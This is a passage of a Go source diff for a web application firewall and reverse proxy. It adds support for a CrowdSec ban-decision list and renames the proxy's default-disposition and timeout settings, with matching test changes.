// SWW_WAF_TAG_LISTS. It keeps the last good copy of
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
// keeps the last good copy of
// each, whole, comment lines included, which is used while a fetch fails,
// and when each was last tried. It also asks the DNSBL zones of
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
@@ -12,6 +13,7 @@ package reputation
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
@@ -33,6 +35,10 @@ const (
maxListBytes = 16 << 20
// fetchTimeout bounds one fetch of a list.
fetchTimeout = time.Minute
// crowdSecRefresh is how long after the CrowdSec decision list was last
// fetched or tried it is fetched again: the engine is the operator's
// own, and makes and ends decisions all the time.
crowdSecRefresh = time.Minute
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
// IPv4-mapped address.
mappedBits = 96
@@ -46,6 +52,9 @@ var (
)
errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s",
)
)
// List is a list as lists.json holds it: the URL it is fetched from,
@@ -68,8 +77,14 @@ type Params struct {
ASNLimitPercentURL string
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
TagLists []config.TagList
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWW_WAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is
// fetched again (SWW_WAF_BLOCKLIST_REFRESH).
// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after.
Refresh time.Duration
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
@@ -84,6 +99,10 @@ type Params struct {
type Lists struct {
params Params
httpClient *http.Client
// crowdSecClient fetches the CrowdSec decision list. It follows no
// redirect, so that the key goes to the engine alone: a redirect is a
// failure.
crowdSecClient *http.Client
mu sync.Mutex
// lists are by URL, one for each URL Params names.
@@ -100,12 +119,22 @@ type list struct {
}
// entries are what the lines of a copy say: for a blocklist or a tag list, the
// netblocks it names, with the lengths among them, and for the file of
// AS:percent lines, the percentage it gives each AS number.
// netblocks it names, with the lengths among them, for the file of AS:percent
// lines, the percentage it gives each AS number, and for the CrowdSec decision
// list, the decision on each netblock that ends last, with the lengths among
// them.
type entries struct {
netblocks map[netip.Prefix]bool
lengths []int
percents map[string]int64
decisions map[netip.Prefix]Decision
}
// Decision is a decision of the CrowdSec engine to ban a netblock: when
// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
type Decision struct {
Expires time.Time
Scenario string
}
// New returns the lists, without a copy of any yet.
@@ -113,7 +142,12 @@ func New(params Params) *Lists {
l := &Lists{
params: params,
httpClient: &http.Client{},
lists: map[string]*list{},
crowdSecClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
},
lists: map[string]*list{},
}
for _, listURL := range l.URLs() {
@@ -125,7 +159,7 @@ func New(params Params) *Lists {
// URLs returns the URL of every list: the blocklists' in the order
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
// tag lists'.
// tag lists', then the CrowdSec decision list's.
func (l *Lists) URLs() []string {
urls := slices.Clone(l.params.BlocklistURLs)
if l.params.ASNLimitPercentURL != "" {
@@ -136,6 +170,10 @@ func (l *Lists) URLs() []string {
urls = append(urls, list.URL)
}
if l.params.CrowdSecDecisionsURL != "" {
urls = append(urls, l.params.CrowdSecDecisionsURL)
}
return urls
}
@@ -187,6 +225,40 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
return percent, listed
}
// CrowdSecDecision returns the decision of the copy of the CrowdSec
// decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision(
addr netip.Addr,
now time.Time,
) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false
}
l.mu.Lock()
defer l.mu.Unlock()
kept := l.lists[l.params.CrowdSecDecisionsURL].entries
var last Decision
for _, length := range kept.lengths {
netblock, err := addr.Prefix(length)
if err != nil {
continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
}
decision := kept.decisions[netblock]
if decision.Expires.After(last.Expires) {
last = decision
}
}
return last, now.Before(last.Expires)
}
// Fetched returns when the copy in use of the list at listURL was
// fetched, or zero while there is none.
func (l *Lists) Fetched(listURL string) time.Time {
@@ -259,7 +331,7 @@ func (l *Lists) Load(lists []List) error {
continue // dropped, or a list tried but never fetched, without a copy
}
read, err := l.parse(kept.URL, kept.Lines)
read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
if err != nil {
return fmt.Errorf("the copy of %s: %w", kept.URL, err)
}
@@ -305,7 +377,8 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time {
}
// due returns when the list at listURL is to be fetched: Refresh after it
// was last fetched or tried, the later of the two.
// was last fetched or tried, the later of the two, or crowdSecRefresh
// after for the CrowdSec decision list.
func (l *Lists) due(listURL string) time.Time {
l.mu.Lock()
defer l.mu.Unlock()
@@ -317,6 +390,10 @@ func (l *Lists) due(listURL string) time.Time {
last = held.kept.Tried
}
if listURL == l.params.CrowdSecDecisionsURL {
return last.Add(crowdSecRefresh)
}
return last.Add(l.params.Refresh)
}
@@ -331,7 +408,7 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
var found entries
if err == nil {
found, err = l.parse(listURL, lines)
found, err = l.parse(listURL, lines, now)
}
cutOff := err != nil && ctx.Err() != nil
@@ -391,8 +468,11 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
})
}
// get fetches the list at listURL, and returns its lines. An answer other
// than 200, or a list longer than maxListBytes, is a failure.
// get fetches the list at listURL, and returns its lines. The CrowdSec
// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
// the engine looks for it, by crowdSecClient, which follows no redirect.
// An answer other than 200, or a list longer than maxListBytes, is a
// failure.
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel()
@@ -407,7 +487,14 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return nil, fmt.Errorf("make the request: %w", err)
}
res, err := l.httpClient.Do(req)
client := l.httpClient
if listURL == l.params.CrowdSecDecisionsURL {
req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
client = l.crowdSecClient
}
res, err := client.Do(req)
if err != nil {
// Do's error names the URL, which the log line and the alert name
// already: only what went wrong is kept.
@@ -439,16 +526,22 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return lines, nil
}
// parse reads the lines of the list at listURL: those of a blocklist or a
// tag list, or of the file of AS:percent lines. Anything after a ; or a #
// on a line is left out, and so is a line left blank. Any other line that
// parse reads the lines of the list at listURL, fetched at fetched: those
// of a blocklist or a tag list, of the file of AS:percent lines, or of the
// CrowdSec decision list. In all but the decision list, anything after a ; or
// a # on a line is left out, and so is a line left blank. Any other line that
// does not read is an error naming it by its number.
func (l *Lists) parse(listURL string, lines []string) (entries, error) {
if listURL == l.params.ASNLimitPercentURL {
func (l *Lists) parse(
listURL string, lines []string, fetched time.Time,
) (entries, error) {
switch listURL {
case l.params.ASNLimitPercentURL:
return parsePercents(lines)
case l.params.CrowdSecDecisionsURL:
return parseDecisions(lines, fetched)
default:
return parseNetblocks(lines)
}
return parseNetblocks(lines)
}
// parseNetblocks reads the lines of a blocklist or a tag list, each an address
@@ -535,6 +628,64 @@ func parsePercents(lines []string) (entries, error) {
return found, nil
}
// parseDecisions reads the lines of the CrowdSec decision list fetched at
// fetched: the engine's answer, a JSON list of its decisions in force,
// null while it has none. A decision of the type ban whose scope is Ip or
// Range, as CrowdSec names them, bans its value, an address or a netblock
// as parseNetblock reads it, until its duration, the time it had left as
// the engine answered, has passed since fetched. Any other decision, such
// as one to show a captcha or one on a country, is left out. A decision
// to ban whose value or duration does not read is an error naming it by
// its number.
func parseDecisions(lines []string, fetched time.Time) (entries, error) {
var answer []struct {
Duration string `json:"duration"`
Scenario string `json:"scenario"`
Scope string `json:"scope"`
Type string `json:"type"`
Value string `json:"value"`
}
err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
if err != nil {
return entries{}, fmt.Errorf("read the answer: %w", err)
}
found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer {
if decision.Type != "ban" ||
(decision.Scope != "Ip" && decision.Scope != "Range") {
continue
}
netblock, ok := parseNetblock(decision.Value)
duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil {
return entries{}, fmt.Errorf(
"decision %d %w",
i+1,
errNotDecision,
)
}
expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{
Expires: expires,
Scenario: decision.Scenario,
}
}
if !slices.Contains(found.lengths, netblock.Bits()) {
found.lengths = append(found.lengths, netblock.Bits())
}
}
return found, nil
}
// withoutComment returns line without anything after a ; or a #, and
// without the spaces around what is left.
func withoutComment(line string) string {
+13 -13
View File
@@ -29,8 +29,9 @@ const (
ActionClientIsRateLimited = "client_is_rate_limited"
// ActionTemporarilyBanned is a request refused because a ban that runs
// out covers its client, or because it matched a ban rule or asked for a
// trap path, and so made such a ban.
// out covers its client, or because it matched a ban rule, asked for a
// trap path or the CrowdSec decision list lists its client, and so made
// such a ban.
ActionTemporarilyBanned = "temporarily_banned"
// ActionPermanentlyBanned is a request refused because a ban that never
@@ -43,14 +44,13 @@ const (
ActionBlockedByBlockRule = "blocked_by_block_rule"
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
// Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
// ActionClientDenied is a request refused because its client is in
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
// SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in
// SWW_WAF_TAG_DENY.
// SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
ActionClientDenied = "client_denied"
// ActionCountryDenied is a request refused because its client's country
@@ -62,12 +62,12 @@ const (
)
// OffenceLimit is the offence a request line names for a request that
// broke a rate limit or the refusal limit, or whose bytes broke a byte
// broke a rate limit or the error burst, or whose bytes broke a byte
// limit.
const OffenceLimit = "limit"
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
// that broke the refusal limit.
// that broke the error burst.
const LimitHitMinuteRefusals = "minute_refusals"
// The waf_line a request line names, which says which of
@@ -180,10 +180,11 @@ type Line struct {
// LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitMinuteRefusals for the refusal limit.
// LimitHitMinuteRefusals for the error burst.
LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then
// the DNSBL zones whose verdict lists it, their keys masked, then abuseipdb when its
// that of the CrowdSec decision list when it does, then the DNSBL zones
// whose verdict lists it, their keys masked, then abuseipdb when its
// score is a hit.
Reputation []string `json:"reputation,omitempty"`
// Tags are the request's tags, sorted.
@@ -232,11 +233,10 @@ type RProxyLine struct {
DurationRequestMS float64 `json:"duration_request_ms"`
DurationResponseMS float64 `json:"duration_response_ms"`
// Disposition is the valid disposition waf answered or, while
// WAFBackendNoAnswer is true, the value of
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
// gave one.
// DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
// when neither gave one.
Disposition string `json:"disposition,omitempty"`
WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"`
DefaultDisposition bool `json:"default_disposition,omitempty"`
}
// Write writes line to w as one JSON line marked "type":"request".
+6 -146
View File
@@ -26,10 +26,6 @@ import (
// post is the start of a POST whose headers end with what follows it.
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
// body, the 64 KiB rproxy reads before it asks waf.
const limitPastFirstPart = "128K"
// announcedLength is the header that announces a body of size bytes, and the
// end of the headers.
func announcedLength(size int) string {
@@ -79,10 +75,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
size, asked int
}{
{"with the limit within the first part", "1K", 1025, 1024},
{
"with the limit past the first part", limitPastFirstPart, 129 << 10,
questionBodyMaxBytes,
},
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -100,15 +93,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
},
)
// The visitor sends no Connection: close, so Go's server reads the rest
// of the body before it closes the connection. Closed with the rest
// unread, the connection is reset while the visitor still sends.
conn := dial(t, addr)
send(t, conn, post+announcedLength(tc.size)+
strings.Repeat("x", tc.size))
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
t.Errorf("status %d, want 413", status)
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, tc.size))))
if got.status != http.StatusRequestEntityTooLarge {
t.Errorf("answered %+v, want 413", got)
}
if asked := standIn.question(t); len(asked.body) != tc.asked {
@@ -143,134 +131,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
}
}
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
name string
waf http.HandlerFunc
rest int
status int
}{
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
{"denied", deny, 65 << 10, http.StatusForbidden},
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
// connection's buffers. Otherwise the visitor is still sending when the
// connection closes, and gets a reset.
{
"with more than 256 KiB left", allow, 272 << 10,
http.StatusRequestEntityTooLarge,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, tc.waf)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, _ := startRProxy(t, standIn.URL, app.URL,
map[string]string{maxRequestSize: limitPastFirstPart})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(questionBodyMaxBytes+tc.rest)+
strings.Repeat("x", questionBodyMaxBytes))
reader := bufio.NewReader(conn)
res, err := http.ReadResponse(reader, nil)
if err != nil {
t.Fatalf("read the answer: %v", err)
}
_, _ = io.Copy(io.Discard, res.Body)
_ = res.Body.Close()
if res.StatusCode != tc.status {
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
}
// The rest goes in small parts, so that a reset fails a later one.
for sent := 0; sent < tc.rest; sent += 1 << 10 {
send(t, conn, strings.Repeat("x", 1<<10))
}
got, err := io.ReadAll(reader)
if err != nil || len(got) != 0 {
t.Errorf(
"after the answer, read %q and %v, want the end",
got,
err,
)
}
})
}
}
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
t *testing.T,
) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(dispositionHeader, dispositionClose)
w.WriteHeader(http.StatusOK)
})
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(2*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes))
// If the connection stays open, dial's deadline ends this read with a timeout.
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf(
"read %q (%v), want the connection closed without an answer",
text,
err,
)
}
}
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
t *testing.T,
) {
t.Parallel()
standIn := startWAF(t, allow)
// The flush has the app's server send greeting in chunks instead of adding a
// Content-Length.
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex()
_, _ = io.WriteString(w, greeting)
_ = rc.Flush()
})
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(2*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes+1))
wantGreeting(t, readAnswer(t, conn))
}
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
t.Parallel()
@@ -283,7 +143,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
mayReachApp bool
}{
{"within the first part", "1K", 2 << 10, false},
{"past the first part", limitPastFirstPart, 129 << 10, true},
{"past the first part", "128K", 129 << 10, true},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
+2 -2
View File
@@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(http.StatusMethodNotAllowed) ||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("line %v, want status 405 and no disposition", line)
}
@@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(http.StatusBadRequest) ||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("line %v, want status 400 and no disposition", line)
}
+10 -40
View File
@@ -38,10 +38,6 @@ const plainText = "text/plain; charset=utf-8"
// and the visitor then gets a closed connection and no answer.
const minSendTime = 10 * time.Second
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
// reads once the handler returns, for a visitor without Connection: close.
const maxBodyReadAfterAnswer = 256 << 10
// errResponseTooLate refuses an app's answer that arrives once
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
var errResponseTooLate = errors.New(
@@ -65,13 +61,12 @@ type request struct {
start time.Time
// disposition is what is done with the request: waf's valid disposition,
// or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
// gave one.
// or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one.
disposition string
// answered is true when waf gave disposition, which makes a report due,
// and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did.
answered bool
wafNoAnswer bool
// and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did.
answered bool
byDefault bool
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
// app.
asn, country string
@@ -343,8 +338,8 @@ func (rq *request) answer(status int) {
}
// A visitor found too slow is read no more; any other may go on sending until
// its time is up, so that the rest of the body is read and the request ends
// cleanly: by Go's server, or by readRestOfBody.
// its time is up, so that Go's server can read the rest of the body and end
// the request cleanly.
deadline := rq.requestDeadline()
if status == http.StatusRequestTimeout {
deadline = time.Now()
@@ -455,7 +450,7 @@ func (rq *request) finish(ctx context.Context) {
),
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition,
WAFBackendNoAnswer: rq.wafNoAnswer,
DefaultDisposition: rq.byDefault,
},
)
if err != nil {
@@ -528,35 +523,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
_ = rq.rc.SetReadDeadline(deadline)
}
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
// has been answered with a Content-Length, until the read deadline already set on
// the connection. It does this only for a body with a declared length from a
// visitor that sent Connection: close, because Go's server reads none of that
// rest. Without the read, the visitor, still sending, gets a reset and may never
// read the answer. Go's server ends an answer without a Content-Length only once
// the handler returns, so reading first would hold back the end of that answer.
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
// server tell the visitor it sends no more, then wait 500 ms before it closes
// the connection.
func (rq *request) readRestOfBody() {
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
rq.out.Header().Get("Content-Length") == "" ||
rq.out.status == http.StatusSwitchingProtocols {
return
}
rest := http.MaxBytesReader(
rq.out.ResponseWriter,
rq.in.Body,
maxBodyReadAfterAnswer,
)
_, _ = io.Copy(io.Discard, rest)
}
// stopPassingOnBody ends the transport's reading of a visitor's body that has
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
// deadline. Go's server reads it once the handler returns, but with no deadline
// at all if another read of it is still waiting.
// not arrived whole, and lets Go's server read the rest until deadline. Go's
// server reads it once the handler returns, but with no deadline at all if
// another read of it is still waiting.
func (rq *request) stopPassingOnBody(deadline time.Time) {
if rq.body == nil || rq.body.received.Load() {
return
+6 -9
View File
@@ -1,10 +1,9 @@
// Package rproxy is the reverse proxy in front of one app that asks waf
// about each request. It passes a request waf allows to the app and the
// app's answer back, within the size and time limits. Any other answer from
// waf goes to the visitor as waf gave it.
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot
// be connected to, does not answer at all, or does not answer within
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. rproxy itself refuses a request with a
// waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION
// decides only when waf cannot be connected to, does not answer at all, or
// does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a
// method it does not pass on, or one it cannot put to waf as the visitor
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
// SPEC.md says what it does.
@@ -109,8 +108,8 @@ func New(params Params) *Server {
}
// WaitForReports returns once the reports being sent have gone or failed,
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
// which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of
// a WebSocket that closes while rproxy stops, for one.
func (s *Server) WaitForReports() {
s.h.reportsMu.Lock()
s.h.reportsStopped = true
@@ -170,7 +169,6 @@ func newWAFTransport() *http.Transport {
// it writes the request's log line and sends its report.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
rq := h.newRequest(w, r)
defer rq.readRestOfBody()
defer rq.finish(r.Context())
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
@@ -219,8 +217,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// passToApp passes the request on to the app, unless a limit or its path keeps
// it from the app. waf answers a path under ownEndpointPrefix itself, so
// such a request gets here only when
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it.
// such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it.
// ctx is the request's own context.
func (rq *request) passToApp(ctx context.Context) {
maxBytes := rq.h.config.MaxRequestSize
+41 -54
View File
@@ -44,13 +44,13 @@ const (
// The settings the tests set.
const (
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
timeoutSetting = "SWW_RPROXY_TIMEOUT_MS"
defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
)
// The headers the tests set and look at.
@@ -774,7 +774,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
line := out.requestLine(t)
if line["disposition"] != dispositionDeny ||
line["waf_backend_no_answer"] != nil {
line["default_disposition"] != nil {
t.Errorf("line %v, want waf's deny", line)
}
}
@@ -956,8 +956,7 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
}
}
// noAnswers are the ways waf can leave the decision to
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
// noAnswers are the ways waf can leave the decision to the default.
func noAnswers() map[string]func(t *testing.T) string {
return map[string]func(t *testing.T) string{
"no connection": func(*testing.T) string { return nowhere },
@@ -1009,8 +1008,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
} {
for _, setting := range []string{dispositionAllow, dispositionDeny} {
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
t.Run(subtest, func(t *testing.T) {
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
t.Parallel()
standIn := startWAF(
@@ -1033,7 +1031,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
standIn.URL,
app.URL,
map[string]string{
noAnswerSetting: setting,
defaultDisposition: setting,
},
)
@@ -1049,9 +1047,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(tc.status) ||
line["waf_backend_no_answer"] != nil {
line["default_disposition"] != nil {
t.Errorf(
"line %v, want status %d and no waf_backend_no_answer",
"line %v, want status %d and no default",
line,
tc.status,
)
@@ -1111,7 +1109,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
_, _ = w.Write(make([]byte, size))
})
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
wafBackendTimeout: "60000",
timeoutSetting: "60000",
})
got := get(t, addr, "/")
@@ -1204,8 +1202,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
"a 101 that holds its connection open": answeringWith(switchAndHold),
} {
for _, setting := range []string{dispositionAllow, dispositionDeny} {
subtest := name + " with " + noAnswerSetting + "=" + setting
t.Run(subtest, func(t *testing.T) {
t.Run(name+" with the default "+setting, func(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {
@@ -1216,8 +1213,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
backend(t),
app.URL,
map[string]string{
wafBackendTimeout: "60000",
noAnswerSetting: setting,
timeoutSetting: "60000",
defaultDisposition: setting,
},
)
@@ -1227,7 +1224,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
line := out.requestLine(t)
if line["status"] != float64(http.StatusBadGateway) ||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf(
"line %v, want status 502 and no disposition",
line,
@@ -1245,7 +1242,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
standIn := startWAF(t, overOneMiB(dispositionDeny))
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
wafBackendTimeout: "60000",
timeoutSetting: "60000",
})
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
@@ -1256,9 +1253,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
standIn.wantNoReport(t)
}
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
t *testing.T,
) {
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
t.Parallel()
for name, backend := range noAnswers() {
@@ -1271,7 +1266,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
backend(t),
app.URL,
map[string]string{
wafBackendTimeout: "200",
timeoutSetting: "200",
},
)
@@ -1279,11 +1274,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
line := out.requestLine(t)
if line["disposition"] != dispositionAllow ||
line["waf_backend_no_answer"] != true {
t.Errorf(
"line %v, want allow and waf_backend_no_answer",
line,
)
line["default_disposition"] != true {
t.Errorf("line %v, want allow by default", line)
}
})
@@ -1298,8 +1290,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
backend(t),
app.URL,
map[string]string{
wafBackendTimeout: "200",
noAnswerSetting: dispositionDeny,
timeoutSetting: "200",
defaultDisposition: dispositionDeny,
},
)
@@ -1310,21 +1302,18 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
line := out.requestLine(t)
if line["disposition"] != dispositionDeny ||
line["waf_backend_no_answer"] != true {
t.Errorf(
"line %v, want deny and waf_backend_no_answer",
line,
)
line["default_disposition"] != true {
t.Errorf("line %v, want deny by default", line)
}
})
}
}
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
t.Parallel()
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
